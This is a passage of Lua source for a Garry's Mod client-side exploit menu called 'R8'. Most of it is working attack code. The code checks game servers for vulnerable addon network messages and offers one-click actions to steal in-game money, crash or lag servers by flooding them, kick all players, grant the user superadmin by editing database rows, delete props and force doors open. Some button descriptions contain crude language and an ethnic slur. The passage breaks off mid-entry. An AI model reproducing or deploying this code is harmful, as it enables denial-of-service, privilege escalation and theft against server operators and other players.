4286CreateClientConVar ("menu_b", "0", true,false)
4287
4288if(istable(MOTDgd))then // Solly copypaste
4289MOTDgd = {}
4290function MOTDgd.Show() end
4291function MOTDgd.GetIfSkip() return true end
4292end
4293
4294local function exitmenu(panel,X,y)
4295
4296 local CButton = vgui.Create("DButton", panel)
4297
4298 CButton:SetTextColor(Color(150, 150, 150))
4299
4300 CButton:SetText("?")
4301
4302 CButton:SetFont("exitmenu")
4303
4304 CButton:SetPos(X, y)
4305
4306 CButton:SetSize(50, 24)
4307
4308 CButton.DoClick = function()
4309
4310 panel:SizeTo(0, 0, .2, 0, .2)
4311
4312 timer.Simple(0.3,function()
4313
4314 panel:SetVisible(false)
4315
4316 end)
4317
4318 end
4319
4320CButton.Paint = function(panel, w, h)
4321
4322 surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4323
4324 surface.DrawOutlinedRect( 0, 0, CButton:GetSize() )
4325
4326 draw.RoundedBox( 0, 0, 0, w, h, Color(139, 0, 0, 255))
4327
4328end
4329
4330
4331
4332CButton.OnCursorEntered = function(self)
4333
4334 surface.PlaySound( "garrysmod/ui_hover.wav" )
4335
4336 CButton.Paint = function(panel, w, h)
4337
4338draw.RoundedBox( 0, 0, 0, w, h, Color(220, 20, 60, 255))
4339
4340 end
4341
4342
4343 end
4344-------------------------------------------------------------
4345CButton.OnCursorExited = function(self)
4346
4347CButton.Paint = function(panel, w, h)
4348
4349 draw.RoundedBox( 0, 0, 0, w, h, Color(139, 0, 0, 255))
4350
4351 end
4352
4353 end
4354
4355 ------------------------------------------------------------------------
4356
4357end
4358
4359
4360function random_string(length)
4361 math.randomseed(os.time())
4362
4363 if length > 0 then
4364 return random_string(length - 1) .. charset[math.random(1, #charset)]
4365 else
4366 return ""
4367 end
4368end
4369
4370local s = {}
4371s.duel = {}
4372s.duel[1] = table.Random( player.GetAll() )
4373s.duel[2] = table.Random( player.GetAll() )
4374s.duel[2] = 3
4375s.duel[3] = -9999999
4376
4377//////////// [CHAT TEXT] ////////////
4378
4379function ECPrint( str )
4380chat.AddText( Color( 150, 150, 150 ), "[R8] ", Color( 255, 255, 255), str )
4381end
4382
4383//////////// [NOTIFY] ////////////
4384
4385local function ECNotify(text)
4386
4387local notify = vgui.Create( "DPanel" )
4388notify:SetSize( 200, 50 )
4389notify:SetPos( ScrW() - 200, -50 )
4390notify.Paint = function(self, w, h)
4391draw.RoundedBox( 0, 0, 0, w, h, Color(50, 50, 50))
4392local bars = 50
4393for i=0, bars, 1 do
4394 local rainbow = HSVToColor( CurTime() % 6 * 60 + i, 1, 1 )
4395 draw.RoundedBox( 0, i * w / bars, notify:GetTall() - 2, w / bars, 3, Color(i + 1 * rainbow.r, i + 1 * rainbow.g, i + 1 * rainbow.b, 255))
4396end
4397//draw.RoundedBox( 0, 0, notify:GetTall() - 2, w, 2, HSVToColor( CurTime() % 6 * 60, 1, 1 ))
4398draw.SimpleText( text, "Calibri-l", notify:GetWide() / 2, notify:GetTall() / 2, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
4399end
4400notify:MoveTo( ScrW() - notify:GetWide(), 0, .2, 0, -1, function()
4401timer.Simple( 3, function()
4402notify:MoveTo( ScrW() - notify:GetWide(), -50, .2, 0, -1)
4403end)
4404end)
4405end
4406
4407
4408//////////// [CLEAR CHAT] ////////////
4409
4410function clearchat()
4411for i = 0, 100 do
4412chat.AddText(" ")
4413end
4414end
4415
4416//////////// [VAPE] ////////////
4417
4418function Vape()
4419timer.Simple(0, function() RunConsoleCommand("+attack") end )
4420timer.Simple(5.134, function() RunConsoleCommand("-attack") end )
4421end
4422concommand.Add("vape", Vape)
4423concommand.Add("clearchat", clearchat)
4424
4425//////////// [CAC CHECKER] ////////////
4426
4427if (_G.QAC or _G.CAC) then
4428chat.AddText( Color( 0, 255, 255 ), "[", "R8", "] ", Color( 255, 255, 255 ), "The server has Cake Anti Cheat!")
4429end
4430
4431function Initialize()
4432-- Removed the stupid printing coding so you dont have to scroll up to find the shit.
4433
4434 surface.PlaySound("HL1/fvox/bell.wav")
4435-- surface.PlaySound("buttons/button15.wav")
4436ECNotify("Loaded Successfully!")
4437net.Receive("DL_Answering_global", function(_len)end) // Stop LocalPlayer from getting kicked whilst kicking all
4438net.Receive( "metro_notification",function() // Disable Metro Notification
4439return
4440end)
4441
4442//////////// Font Creation ////////////
4443--
4444surface.CreateFont( "Roboto", {
4445 font = "Roboto",
4446 size = 18,
4447} )
4448--
4449surface.CreateFont( "Calibri-sm", {
4450 font = "Calibri",
4451 size = 15,
4452} )
4453--
4454surface.CreateFont( "Calibri-l", {
4455 font = "Calibri",
4456 size = 21,
4457} )
4458--
4459surface.CreateFont( "tahoma", {
4460 font = "Tahoma",
4461 size = 15,
4462} )
4463--
4464end
4465Initialize(); // Initializes basic shit for when menu is loaded.
4466
4467
4468function ValidNetString( str )
4469local status, error = pcall( net.Start, str )
4470return status
4471end
4472
4473
4474------------------------------------------------------------------------
4475
4476//////////// [MENU] ////////////
4477
4478function draw.OutlinedBox( x, y, w, h, thickness, clr )
4479surface.SetDrawColor( clr )
4480for i=0, thickness - 1 do
4481surface.DrawOutlinedRect( x + i, y + i, w - i * 2, h - i * 2 )
4482end
4483end
4484
4485-------------------------------------------------------------------------------------------
4486surface.CreateFont("Main",
4487 {
4488 font = "Arial",
4489 size = 20,
4490 weight = 1000,
4491 shadow = false,
4492 outline = false,
4493})
4494
4495function R8_Menu()
4496
4497local menu = vgui.Create( "DFrame" )
4498
4499menu:Center()
4500
4501menu:SizeTo(300, 350, .3, 0, .3)
4502
4503exitmenu(menu,249,1)
4504
4505menu:SetTitle( " " )
4506
4507menu:ShowCloseButton( false )
4508
4509menu:MakePopup()
4510
4511function menu:Paint()
4512
4513DrawBlur(self,5)
4514
4515draw.RoundedBox(4, 0, 0, 5000, 5000, Color(GetConVarNumber ("menu_r") ,GetConVarNumber ("menu_g"),GetConVarNumber ("menu_b"), 170))
4516
4517draw.SimpleText( totalSploits .. "/297 Exploits - R8", "Roboto", 5, 3, Color( 255, 255, 255, 200 ), 0, 0 )
4518
4519if totalSploits == 0 then
4520draw.SimpleText("No exploits found!", "Roboto", 65, 150, Color( 255, 255, 255, 200 ), 0, 0 )
4521end
4522
4523surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4524
4525surface.DrawOutlinedRect( 0, 0, menu:GetSize() )
4526
4527surface.DrawOutlinedRect( 0, 0, 249, 26 )
4528
4529surface.DrawOutlinedRect( 0, 25, menu:GetSize() )
4530
4531end
4532
4533//////////// [TABS] ////////////
4534
4535local tabs = vgui.Create( "DPropertySheet", menu )
4536tabs:Dock( FILL )
4537tabs:DockPadding( -5, 5, 0, 0)
4538tabs.Paint = function (self, w, h)
4539for k, v in pairs(tabs.Items) do
4540
4541 if (!v.Tab) then continue end
4542
4543 v.Tab.Paint = function(self,w,h)
4544 draw.RoundedBox( 0, 0, 0, w, 22, Color( 25, 25, 25, 255 ) )
4545 draw.RoundedBox( 0, 0, 22, w - 2, 1, Color( 45, 45, 45, 255 ) )
4546 if ( tabs:GetActiveTab() == v.Tab ) then
4547 draw.RoundedBox( 0, 0, 0, w, 22, Color( 25, 25, 25, 255 ) )
4548 //draw.RoundedBox( 0, 0, 22, w - 2, 1, Color( 255, 255, 255, 255 ) )
4549 draw.RoundedBox( 0, 0, 22, w, 1, Color(255,255,255,255))
4550 end
4551 end
4552end
4553end
4554
4555//////////// [PANELS] ////////////
4556
4557local exploitsPanel = vgui.Create( "DPanel", menu )
4558
4559exploitsPanel:Dock(1)
4560
4561exploitsPanel.Paint = function( self, w, h )
4562draw.RoundedBox(0, 0, 0, w, h, Color( 25, 25, 25,100 ))
4563draw.OutlinedBox( 0, 0, w, h, 1, Color( 0, 0, 0 ) )
4564end
4565
4566
4567local exploitsScrollPanel = vgui.Create( "DScrollPanel", exploitsPanel )
4568exploitsScrollPanel:Dock( FILL )
4569
4570
4571//////////// [NEW EXPLOIT] ////////////
4572--------------------
4573totalSploits = 0
4574function addExploit(id, text, desc, func)
4575totalSploits = 1 + totalSploits
4576local id = vgui.Create( "DButton", exploitsScrollPanel )
4577id:SetText( text )
4578id:SetTextColor( Color( 200, 200, 200 ) )
4579id:SetFont("Roboto")
4580id:Dock( TOP )
4581id:DockMargin( 10, 10, 10, -5 )
4582id:DockPadding( 2, 25, 2, 50 )
4583id.DoClick = func
4584if desc then
4585id:SetToolTip( desc )
4586end
4587id.Paint = function( self, w, h )
4588id.OnCursorEntered = function(self)
4589-- surface.PlaySound( "garrysmod/ui_hover.wav" )
4590surface.PlaySound( "buttons/button15.wav" )
4591end
4592if id:IsHovered() then
4593draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
4594
4595surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4596
4597surface.DrawOutlinedRect( 0, 0, id:GetSize() )
4598
4599surface.DrawOutlinedRect( 0, 25, id:GetSize() )
4600else
4601draw.RoundedBox( 0, 0, 0, 500, 500, Color(0, 0, 0, 120))
4602
4603surface.SetDrawColor( Color( 0, 0, 0, 255 ) )
4604
4605surface.DrawOutlinedRect( 0, 0, id:GetSize() )
4606
4607surface.DrawOutlinedRect( 0, 25, id:GetSize() )
4608end
4609
4610end
4611
4612
4613end
4614
4615
4616//////////////////// [EXPLOITS] ////////////////////
4617
4618status = ValidNetString("TCBBuyAmmo")
4619if (status) then
4620ECPrint("Found Exploit: Free Ammo [TCBBuyAmmo]")
4621addExploit( "1","Free Ammo", "Gets All Ammo Types", function()
4622surface.PlaySound("garrysmod/ui_click.wav")
4623ECPrint("Getting Le Ammo")
4624for k,v in pairs(GAMEMODE.AmmoTypes) do
4625net.Start("TCBBuyAmmo")
4626net.WriteTable( {nil,v.ammoType,nil,"0","999999"} )
4627net.SendToServer()
4628end
4629end)
4630end
4631
4632status = ValidNetString("DataSend")
4633if (status) then
4634ECPrint("Found Exploit: Steal All Monies #1 [DataSend]")
4635addExploit( "2","Steal All Monies #1", "Takes money from printers", function()
4636surface.PlaySound("garrysmod/ui_click.wav")
4637for k, v in pairs( ents.GetAll() ) do
4638if v:GetClass() == "adv_moneyprinter" then
4639ECPrint("Collecting Money")
4640net.Start("DataSend")
4641net.WriteFloat(2)
4642net.WriteEntity(v)
4643net.WriteEntity(LocalPlayer())
4644net.SendToServer()
4645end
4646end
4647end)
4648end
4649
4650
4651status = ValidNetString("FarmingmodSellItems")
4652if (status) then
4653ECPrint("Found Exploit: Free Money [FarmingmodSellItems]")
4654addExploit( "3","Free Money", "An exploit in the Farming Mod", function()
4655surface.PlaySound("garrysmod/ui_click.wav")
4656ECPrint("Enjoy the b1g monies")
4657net.Start("FarmingmodSellItems")
4658net.WriteTable(
4659{
4660Cost = 10,
4661CropModel = "models/props/eryk/garlic.mdl",
4662CropType = 2,
4663Info = "Garlic Seed",
4664Model = "models/props/eryk/seedbag.mdl",
4665Name = "Garlic",
4666Quality = 4,
4667Sell = 99999,
4668Type = "Seed"
4669}
4670)
4671net.WriteInt(1,16)
4672net.SendToServer()
4673end)
4674end
4675
4676status = ValidNetString("start_wd_emp")
4677if (status) then
4678ECPrint("Found Exploit: Hack Keypad [start_wd_emp]")
4679addExploit( "4","Hack Keypad", "Instantly opens nearby keypads. Has a cooldown", function()
4680surface.PlaySound("garrysmod/ui_click.wav")
4681ECNotify("Hacking Keypads")
4682net.Start("start_wd_emp")
4683net.SendToServer()
4684end)
4685end
4686
4687status = ValidNetString("duelrequestguiYes")
4688if (status) then
4689ECPrint("Found Exploit: Get Money [duelrequestguiYes]")
4690addExploit( "5","Get Money", "Duel Exploit", function()
4691surface.PlaySound("garrysmod/ui_click.wav")
4692ECNotify("getting ez monies")
4693net.Start("duelrequestguiYes")
4694net.WriteInt(-99999999999999999999999999999999999999999999999999999999999999999999999999999,32)
4695net.WriteEntity(table.Random( player.GetAll() ) )
4696net.WriteString("Crossbow")
4697net.SendToServer()
4698end)
4699end
4700
4701status = ValidNetString("DarkRP_Kun_ForceSpawn")
4702if (status) then
4703ECPrint("Found Exploit: Respawn #1 [DarkRP_Kun_ForceSpawn]")
4704addExploit( "6", "Respawn #1", "Just respawn", function()
4705surface.PlaySound("garrysmod/ui_click.wav")
4706ECPrint("Respawn")
4707net.Start("DarkRP_Kun_ForceSpawn")
4708net.SendToServer()
4709end)
4710end
4711
4712status = ValidNetString("SyncPrinterButtons76561198056171650")
4713if (status) then
4714ECPrint("Found Exploit: Steal All Monies #2 [SyncPrinterButtons76561198056171650]")
4715addExploit( "7","Steal All Monies #2", "Takes money from printers", function()
4716surface.PlaySound("garrysmod/ui_click.wav")
4717ECPrint("Collecting Money")
4718for k, v in pairs(ents.GetAll()) do
4719if (v:GetClass() == "adv_moneyprinter") then
4720net.Start("SyncPrinterButtons76561198056171650")
4721net.WriteEntity(v)
4722net.WriteUInt(2, 4)
4723net.SendToServer()
4724end
4725end
4726end)
4727end
4728---------------------------------------------------------------------------------------------
4729local function report()
4730 for i = 1, 2000 do
4731 net.Start("DL_Answering")
4732 net.SendToServer()
4733 end
4734end
4735
4736if (Damagelog) then
4737ECPrint("Found Exploit: Kick All Players")
4738reportSpam = 0
4739addExploit( "1337","Kick All Players", "Kicks all players", function()
4740 surface.PlaySound("garrysmod/ui_click.wav")
4741 if (reportSpam == 0) then
4742 ECNotify("Starting Kicker")
4743 reportSpam = 1
4744 timer.Create("reportSpammer", 0.05, 0, report)
4745 else
4746 ECNotify("Stopping Kicker")
4747 reportSpam = 0
4748 timer.Remove("reportSpammer")
4749 end
4750
4751end)
4752end
4753----------------------------------------------------------------------------------------------
4754
4755status = ValidNetString("SimplicityAC_aysent")
4756if (status) then
4757ECPrint("Found Exploit: Crash #1 [SimplicityAC_aysent]")
4758addExploit( "8","Crash #1", "Will instantly crash the server", function()
4759surface.PlaySound("garrysmod/ui_click.wav")
4760ECPrint("Goodbye Server")
4761local tbl = {}
4762for i=1,400 do
4763tbl[i] = i
4764end
4765net.Start("SimplicityAC_aysent")
4766net.WriteUInt(1, 8)
4767net.WriteUInt(4294967295, 32)
4768net.WriteTable(tbl)
4769net.SendToServer()
4770end)
4771end
4772
4773status = ValidNetString("RevivePlayer")
4774if (status) then
4775ECPrint("Found Exploit: Reanimation #1 [RevivePlayer]")
4776addExploit( "9", "Reanimation #1", "Instant revival", function()
4777surface.PlaySound("garrysmod/ui_click.wav")
4778if !timer.Exists( "reanimation1" ) then
4779ECNotify( "Enabled" )
4780timer.Create( "reanimation1", 0.5, 0, function()
4781if !LocalPlayer():Alive() then
4782net.Start("RevivePlayer")
4783net.WriteEntity(LocalPlayer())
4784net.SendToServer()
4785end
4786end)
4787else
4788timer.Remove( "reanimation1" )
4789ECNotify( "Disabled" )
4790end
4791end )
4792end
4793
4794status = ValidNetString("NLRKick")
4795if (status) then
4796ECPrint("Found Exploit: Kick Everyone [NLRKick]")
4797addExploit( "10","Kick Everyone", "kick all the beaners", function()
4798surface.PlaySound("garrysmod/ui_click.wav")
4799ECNotify("Kicking All")
4800for k,v in pairs(player.GetAll()) do
4801if v != LocalPlayer() then
4802net.Start("NLRKick")
4803net.WriteEntity(v)
4804net.SendToServer()
4805end
4806end
4807end)
4808end
4809
4810status = ValidNetString("timebombDefuse")
4811if (status) then
4812ECPrint("Found Exploit: Delete All Props [timebombDefuse]")
4813addExploit( "11","Delete All Props", "props = dead", function()
4814surface.PlaySound("garrysmod/ui_click.wav")
4815ECNotify("Props De_Stroyed")
4816for k,v in pairs(ents.GetAll()) do
4817net.Start("timebombDefuse")
4818net.WriteEntity(v)
4819net.WriteBool(true)
4820net.SendToServer()
4821end
4822end)
4823end
4824
4825status = ValidNetString("NDES_SelectedEmblem")
4826if (status) then
4827ECPrint("Found Exploit: Lagger #2 [NDES_SelectedEmblem]")
4828addExploit( "12","Lagger #2", "oof yuh get l4gged", function()
4829surface.PlaySound("garrysmod/ui_click.wav")
4830if !timer.Exists( "lagger2" ) then
4831timer.Create("lagger2", 0.5, 0, function()
4832for i=1, 2000 do
4833net.Start("NDES_SelectedEmblem",true)
4834net.WriteString("seized")
4835net.SendToServer()
4836end
4837end)
4838ECNotify("Starting Lagger")
4839else
4840timer.Remove("lagger2")
4841ECNotify("Stopping Lagger")
4842end
4843end)
4844end
4845
4846status = ValidNetString("Morpheus.StaffTracker")
4847if (status) then
4848ECPrint("Found Exploit: Crasher #1 [Morpheus.StaffTracker]")
4849addExploit( "13","Crasher #1", "not even hard. unlike nippy's dick when he sees voltz", function()
4850surface.PlaySound("garrysmod/ui_click.wav")
4851if !timer.Exists( "crasher1" ) then
4852timer.Create("crasher1", 0.5, 0, function()
4853for i=1, 2000 do
4854net.Start("Morpheus.StaffTracker")
4855net.SendToServer()
4856end
4857end)
4858ECNotify("Crashing Server")
4859else
4860timer.Remove("crasher1")
4861ECNotify( "Canceling Crasher" )
4862end
4863end)
4864end
4865
4866status = ValidNetString("egg")
4867if (status) then
4868ECPrint("Found Exploit: Get Easter Egg")
4869addExploit( "14","Get Easter Egg", "ez eggs", function()
4870surface.PlaySound("garrysmod/ui_click.wav")
4871RunConsoleCommand("say", "4bigz")
4872RunConsoleCommand("cc_egg2")
4873net.Start("egg")
4874net.SendToServer()
4875ECNotify("Gave Easter Egg")
4876end)
4877end
4878
4879status = ValidNetString("pplay_deleterow")
4880if (status) then
4881ECPrint("Found Exploit: GET SUPERADMIN [pplay_deleterow]")
4882addExploit( "15","GET SUPERADMIN", "Rejoin game after clicking", function()
4883surface.PlaySound("garrysmod/ui_click.wav")
4884local id = LocalPlayer():SteamID()
4885local tbl = {}
4886tbl.name = "FAdmin_PlayerGroup"
4887tbl.where = {
4888"steamid",
4889tostring(id)
4890}
4891
4892net.Start("pplay_deleterow")
4893net.WriteTable(tbl)
4894net.SendToServer()
4895local tbl = {}
4896tbl.tblname = "FAdmin_PlayerGroup"
4897tbl.tblinfo = {
4898tostring(id),
4899"superadmin"
4900}
4901net.Start("pplay_addrow")
4902net.WriteTable(tbl)
4903net.SendToServer()
4904ECNotify("promotion ;)")
4905end)
4906end
4907
4908-- ttt report bypass by daddy grampa
4909
4910local function CheckChild(pan)
4911local title = "You have been reported! Please answer all your reports."
4912 if !pan || !IsValid(pan) then return end
4913 if pan.GetTitle && pan:GetTitle() == title then
4914 pan:Remove();
4915 print("Removed warning box")
4916 return
4917 end
4918 for k,v in pairs(pan:GetChildren()) do
4919 if v.GetTitle && v:GetTitle() == title then
4920 v:Remove();
4921 print("Removed warning box")
4922 return
4923 end
4924 if #v:GetChildren() > 0 then
4925 CheckChild(v)
4926 end
4927 end
4928end
4929
4930if (engine.ActiveGamemode() == "terrortown") then
4931bypass = 0
4932ECPrint("Found Exploit: TTT Report Bypass")
4933addExploit( "16","Toggle TTT Report Bypass", "b1g bypass amirite", function()
4934surface.PlaySound("garrysmod/ui_click.wav")
4935if (bypass == 0) then
4936hook.Add("Think", "remove_ttt_report", function()
4937local pan = vgui.GetHoveredPanel()
4938CheckChild(pan)
4939end)
4940ECNotify("Enabled Report Bypass")
4941bypass = 1
4942else
4943hook.Remove("Think", "remove_ttt_report")
4944ECNotify("Disabled Report Bypass")
4945bypass = 0
4946end
4947end)
4948end
4949
4950status = ValidNetString("EZS_PlayerTag")
4951if (status) then
4952ECPrint("Found Exploit: Lagger #3 [EZS_PlayerTag]")
4953addExploit( "17","Lagger #3", "b1g lags my duder", function()
4954surface.PlaySound("garrysmod/ui_click.wav")
4955if !timer.Exists( "lagger3" ) then
4956timer.Create("lagger3", 0.5, 0, function()
4957for k, v in pairs(player.GetAll()) do
4958net.Start("EZS_PlayerTag",true)
4959net.WriteEntity(v)
4960net.WriteString("Seized")
4961net.SendToServer()
4962timer.Simple(2, function()
4963net.Start("EZS_PlayerTag",true)
4964net.WriteEntity(v)
4965net.WriteString("Seized")
4966net.SendToServer()
4967end)
4968end
4969end)
4970ECNotify("Starting Lagger")
4971else
4972timer.Remove("lagger3")
4973ECNotify("Stopping Lagger")
4974end
4975end)
4976end
4977
4978if ConVarExists("advttt_spreadovertime_enabled") then
4979ECPrint("Found Exploit: Remove Spread")
4980addExploit( "18","Remove Spread", "pSilent No Spread", function()
4981surface.PlaySound("garrysmod/ui_click.wav")
4982hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
4983ECNotify("Spread Removed")
4984end)
4985end
4986
4987status = ValidNetString("fp_as_doorHandler")
4988if (status) then
4989ECPrint("Found Exploits: Open Door, Close Door, Remove Door Owners [fp_as_doorHandler]")
4990addExploit( "19","Open Door", "Force open the door you are looking at", function()
4991surface.PlaySound("garrysmod/ui_click.wav")
4992net.Start("fp_as_doorHandler")
4993net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
4994net.WriteString("unlock")
4995net.SendToServer()
4996ECNotify("Opened Door")
4997end)
4998end
4999
5000status = ValidNetString("fp_as_doorHandler")
5001if (status) then
5002addExploit( "20","Close Door", "Force close the door you are looking at", function()
5003surface.PlaySound("garrysmod/ui_click.wav")
5004net.Start("fp_as_doorHandler")
5005net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
5006net.WriteString("lock")
5007net.SendToServer()
5008ECNotify("Opened Door")
5009end)
5010end
5011
5012status = ValidNetString("fp_as_doorHandler")
5013if (status) then
5014addExploit( "21","Remove Door Owner", "Force remove door owner of the door you are looking at", function()
5015surface.PlaySound("garrysmod/ui_click.wav")
5016local door = LocalPlayer():GetEyeTrace().Entity
5017local doorOwner = door:getDoorData()["owner"]
5018net.Start("fp_as_doorHandler")
5019net.WriteEntity(door)
5020net.WriteString("removeOwner")
5021net.WriteDouble(doorOwner)
5022net.SendToServer()
5023ECNotify("Opened Door")
5024end)
5025end
5026
5027status = ValidNetString("VJSay")
5028if (status) then
5029ECPrint("Found Exploit: VJSay [OLD] [VJSay]")
5030addExploit( "22","VJSay [OLD]", "", function()
5031surface.PlaySound("garrysmod/ui_click.wav")
5032inputFrame2Exists = true
5033inputFrame2 = vgui.Create( "DFrame" )
5034inputFrame2:SetTitle("Enter your message!")
5035inputFrame2:SetSize( 400, 75 )
5036inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
5037inputFrame2:SetDraggable(false)
5038inputFrame2:ShowCloseButton(false)
5039inputFrame2:MakePopup()
5040inputFrame2.Paint = function( self, w, h )
5041draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5042end
5043
5044local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
5045TextEntry2:SetSize( 380, 30 )
5046TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
5047TextEntry2:SetText( "Broadcast Msg" )
5048TextEntry2.OnEnter = function( self )
5049surface.PlaySound("garrysmod/ui_click.wav")
5050ECNotify("Broadcasting")
5051net.Start("VJSay")
5052net.WriteEntity(nil)
5053net.WriteString(TextEntry2:GetValue())
5054net.WriteString("")
5055net.SendToServer()
5056inputFrame2:SetVisible(false)
5057end
5058end)
5059end
5060
5061status = ValidNetString("ply_pick_shit")
5062if (status) then
5063ECPrint("Found Exploit: free money amirite [ply_pick_shit]")
5064addExploit( "23","free money amirite", "stacks in ur wallet generator", function()
5065surface.PlaySound("garrysmod/ui_click.wav")
5066for k, v in pairs (player.GetAll()) do
5067for i = 1,255 do
5068net.Start("ply_pick_shit")
5069net.WriteEntity(LocalPlayer())
5070net.WriteEntity(v)
5071net.SendToServer()
5072end
5073end
5074ECNotify("enjoy monies")
5075end)
5076end
5077
5078status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
5079if (status) then
5080ECPrint("Found Exploit: Crasher #2 [pac.net.TouchFlexes.ClientNotify]")
5081addExploit( "24","Crasher #2", "big lagz", function()
5082surface.PlaySound("garrysmod/ui_click.wav")
5083if !timer.Exists( "crasher2" ) then
5084timer.Create("crasher2", 0, 0, function()
5085for i = 1, 400 do
5086net.Start("pac.net.TouchFlexes.ClientNotify")
5087net.WriteInt( 9999999999999999999999999999999999999999999999999999999999999999999999, 13)
5088net.SendToServer()
5089end
5090end)
5091ECNotify("Starting Crasher")
5092else
5093timer.Remove("crasher2")
5094ECNotify("Stopping Crasher")
5095end
5096end)
5097end
5098
5099status = ValidNetString("BM2.Command.SellBitcoins")
5100if (status) then
5101ECPrint("Found Exploit: Sell Your Bitcoins [BM2.Command.SellBitcoins]")
5102addExploit( "25","Sell your Bitcoins", "sells your and other peoples bitcoins at a great distance", function()
5103surface.PlaySound("garrysmod/ui_click.wav")
5104for k, v in pairs(ents.FindByClass("bm2_bitminer_1")) do
5105net.Start("BM2.Command.SellBitcoins")
5106net.WriteEntity(v)
5107net.SendToServer()
5108end
5109for k, v in pairs(ents.FindByClass("bm2_bitminer_2")) do
5110net.Start("BM2.Command.SellBitcoins")
5111net.WriteEntity(v)
5112net.SendToServer()
5113end
5114for k, v in pairs(ents.FindByClass("bm2_bitminer_rack")) do
5115net.Start("BM2.Command.SellBitcoins")
5116net.WriteEntity(v)
5117net.SendToServer()
5118end
5119end)
5120end
5121
5122status = ValidNetString("BM2.Command.Eject")
5123if (status) then
5124ECPrint("Found Exploit: Lagger #4 [BM2.Command.Eject]")
5125addExploit( "26","Lagger #4", "discovered by triggered", function()
5126surface.PlaySound("garrysmod/ui_click.wav")
5127if !timer.Exists( "lagger4" ) then
5128timer.Create("lagger4", 0, 0, function()
5129for i = 1, 1000 do
5130net.Start("BM2.Command.Eject",true)
5131net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999, 8)
5132net.SendToServer()
5133end
5134end)
5135ECNotify("Starting Lagger")
5136else
5137timer.Remove("lagger4")
5138ECNotify("Stopping Lagger")
5139end
5140end)
5141end
5142
5143status = ValidNetString("BM2.Command.SellBitcoins")
5144if (status) then
5145ECPrint("Found Exploit: Lagger #5 [BM2.Command.SellBitcoins]")
5146addExploit( "27","Lagger #5", "discovered by Leith, an exploit in the addon 'Bitminers 2'", function()
5147surface.PlaySound("garrysmod/ui_click.wav")
5148timer.Create("lagger5", 0, 0, function()
5149for i=1,1000 do
5150net.Start("BM2.Command.SellBitcoins",true)
5151net.WriteEntity(LocalPlayer())
5152net.SendToServer()
5153end
5154end )
5155end )
5156end
5157
5158status = ValidNetString("ItemStoreUse")
5159if (status) then
5160ECPrint("Found Exploit: Lagger #6 [ItemStoreUse]")
5161addExploit( "28","Lagger #6", "discovered by triggered, an exploit in the addon 'ItemStore'", function()
5162surface.PlaySound("garrysmod/ui_click.wav")
5163if !timer.Exists( "lagger6" ) then
5164timer.Create("lagger6", 0, 0, function()
5165for i = 1, 1000 do
5166net.Start("ItemStoreUse",true)
5167net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
5168net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
5169net.SendToServer()
5170end
5171end)
5172ECNotify("Starting Lagger")
5173else
5174timer.Remove("lagger6")
5175ECNotify("Stopping Lagger")
5176end
5177end)
5178end
5179
5180status = ValidNetString("ItemStoreDrop")
5181if (status) then
5182ECPrint("Found Exploit: Lagger #7 [ItemStoreDrop]")
5183addExploit( "29","Lagger #7", "discovered by Leith, an exploit in the addon 'ItemStore'", function()
5184surface.PlaySound("garrysmod/ui_click.wav")
5185if !timer.Exists( "lagger7" ) then
5186timer.Create("lagger7", 0, 0, function()
5187for i = 1, 1000 do
5188net.Start("ItemStoreDrop",true)
5189net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
5190net.WriteUInt(9999999999999999999999999999999999999999999999999999999999, 32)
5191net.SendToServer()
5192end
5193end)
5194ECNotify("Starting Lagger")
5195else
5196timer.Remove("lagger7")
5197ECNotify("Stopping Lagger")
5198end
5199end)
5200end
5201
5202status = ValidNetString("gMining.sellMineral")
5203if (status) then
5204ECPrint("Found Exploit: Lagger #8 [gMining.sellMineral]")
5205addExploit( "30","Lagger #8", "discovered by Leith, an exploit in the addon 'gMining'", function()
5206surface.PlaySound("garrysmod/ui_click.wav")
5207ECNotify("Starting")
5208if !timer.Exists( "lagger8" ) then
5209timer.Create("lagger8", 0, 0, function()
5210for i = 1, 1000 do
5211net.Start("gMining.sellMineral",true)
5212net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
5213net.WriteString(" ")
5214net.SendToServer()
5215end
5216end )
5217end
5218end )
5219end
5220
5221status = ValidNetString("PlayerUseItem")
5222if (status) then
5223ECPrint("Found Exploit: Lagger #9 [PlayerUseItem]")
5224addExploit( "31","Lagger #9", "discovered by triggered", function()
5225surface.PlaySound("garrysmod/ui_click.wav")
5226if !timer.Exists( "lagger9" ) then
5227timer.Create("lagger9", 0,0, function()
5228for i = 1, 800 do
5229net.Start("PlayerUseItem",true)
5230net.WriteInt(99999999999999999999999999999999999999999999999, 32)
5231net.SendToServer()
5232end
5233end)
5234ECNotify("Starting Lagger")
5235else
5236timer.Remove("lagger9")
5237ECNotify("Stopping Lagger")
5238end
5239end)
5240end
5241
5242status = ValidNetString("RequestMAPSize")
5243if (status) then
5244ECPrint("Found Exploit: Lagger #10 [RequestMAPSize]")
5245addExploit( "32","Lagger #10", "1tap server", function()
5246surface.PlaySound("garrysmod/ui_click.wav")
5247if !timer.Exists( "lagger10" ) then
5248timer.Create("lagger10", 0, 0, function()
5249for i = 1, 400 do
5250net.Start("RequestMAPSize",true)
5251net.SendToServer()
5252end
5253end)
5254ECNotify("Starting Lagger")
5255else
5256timer.Remove("lagger10")
5257ECNotify("Stopping Lagger")
5258end
5259end )
5260end
5261
5262status = ValidNetString("MG2.Request.GangRankings")
5263if (status) then
5264ECPrint("Found Exploit: Lagger #11 [MG2.Request.GangRankings]")
